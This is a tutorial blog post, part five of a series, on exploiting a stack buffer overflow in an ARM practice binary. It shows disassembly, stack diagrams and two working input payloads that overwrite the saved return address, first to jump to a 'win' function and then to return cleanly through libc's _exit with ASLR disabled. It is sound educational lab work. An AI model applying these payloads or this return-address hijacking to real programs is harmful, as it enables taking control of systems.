Smashing ARM Stack for Fun - Part V
January 20, 2021
Fifth challenge with a small introduction to process continuation.
Planning the exploit
pwndbg> pdisass &main
► 0x10464 <main> push {fp, lr}
0x10468 <main+4> add fp, sp, #4
0x1046c <main+8> sub sp, sp, #0x48
0x10470 <main+12> str r0, [fp, #-0x48]
0x10474 <main+16> str r1, [fp, #-0x4c]
0x10478 <main+20> sub r3, fp, #0x44
0x1047c <main+24> mov r0, r3
0x10480 <main+28> bl #gets@plt <gets@plt>
0x10484 <main+32> mov r0, r3
0x10488 <main+36> sub sp, fp, #4
0x1048c <main+40> pop {fp, pc}
sub r3, fp, #0x44
means that the buffer begins 0x44 bytes from fp
, the begin of the stack frame.
As we saw previously, the stack frame includes the previous value of fp
but not lr
that it is immediately below.
So a buffer overflow of 0x44 bytes will overwrite the stored fp
and an overflow of 0x48 will overwrite fp
and lr
.
If we do the latter, the function main
will jump to our own code on return.
The left diagram shows the stack from lower addresses (left) to higher addresses (right) and the main
’s and __libc_start_main
’s stack frames (main
and start
for short)
main --------------v------ start
....... fp lr | ?? ?? ?? ??
As you can see the fp
and lr
are stored in the stack as well as an unknown local variables of __libc_start_main
.
When the overflow occurs this is the result:
main ---------------v----- start
....... fp lr | ?? ?? ?? ?? (pre-exploit)
main ---------------v----- start
AAAAAAA BB addr1 | ?? ?? ?? ?? (overflow)
No more crazy stuff is needed here, we can jump to win
(addr1 == 0x1044c
) directly.
Exploit level 1
pi@raspberrypi:~$ echo -ne 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x4c\x04\x01\x00' | ./stack4
code flow successfully changed
Segmentation fault
Yeah! but that segfault looks sloppy.
A more polite exploit
Once win
executes it will pop from the stack the stored lr
and set it into pc
.
We didn’t call win
with bl
or similar so the lr
was never set correctly and the value pushed in the stack by win
was garbage.
When win
returns will jump to who-knows-where.
main ---------------v----- start
....... fp lr | ?? ?? ?? ?? (pre-exploit)
win ----------------v----- start
BB ?? | ?? ?? ?? ?? (win called)
^
ret address of win
And if we don’t jump to win
exactly?
We could jump to the second instruction of win
: we will be skipping the push
.
pwndbg> pdisass &win
0x1044c <win> push {fp, lr}
► 0x10450 <win+4> add fp, sp, #4
0x10454 <win+8> ldr r0, [pc, #4]
0x10458 <win+12> bl #puts@plt <puts@plt>
0x1045c <win+16> pop {fp, pc}
In this way we can emulate the push
of fp
and lr
adding 8 bytes to our payload.
main ---------------v--------- start
....... fp lr | ?? ?? ?? ?? (pre-exploit)
main ---------------v--------- start
AAAAAAA BB addr1 | CC addr2 ?? ?? (overflow extended)
v--------- start
?? ?? | CC addr2 | ?? ?? (win called without push)
------ win -------------------^
So now we control where win
will return: addr2
.
Planning a controlled exit
An ideal situation would make the program continue running after exploiting it, known as process continuation shellcode but it is too complex for now.
The simplest thing is to call _exit
a thin glib wrapper of exit_group
syscall that exits the process and its threads.
pwndbg> pdisass &_exit
► 0xb6f1b934 <_exit> push {r7, lr}
0xb6f1b938 <_exit+4> mov r2, r0
0xb6f1b93c <_exit+8> mov r7, #0xf8
0xb6f1b940 <_exit+12> svc #0
0xb6f1b944 <_exit+16> cmn r0, #0x1000
0xb6f1b948 <_exit+20> bhi #_exit+68 <_exit+68>
The svc #0
is what it triggers the syscall. In Arm 32bits the instruction is swi
but the disassembler renames it to the newer name: supervisor call.
The syscall number is passed to the kernel via r7
as mentioned in man syscall(2).
In our case 0xf8 is the syscall number of exit_group
.
Exploit level 2
We are going to cheat a little and disable ASLR so we can hardcode the address of _exit
(0xb6f1b934)
pi@raspberrypi:~$ setarch linux32 --addr-no-randomize /bin/bash
(aslr disabled) pi@raspberrypi:~$ echo -ne 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x04\x01\x00BBBB\x34\xb9\xf1\xb6' | ./stack4
code flow successfully changed
(aslr disabled) pi@raspberrypi:~$ echo $?
31
(aslr disabled) pi@raspberrypi:~$ exit
exit
As you can see the return code of the process was 31. I corroborated with a debugger the value of the registers before the syscall and r0
was 31 as expected.
Instead of jumping to _exit
we could jump before to a piece of code –known as gadget– that sets r0
to zero and then jump to _exit
.
But that’s for another post.
Related tags: reversing, exploiting, ARM, iasm, azeria-labs, egg, shellcode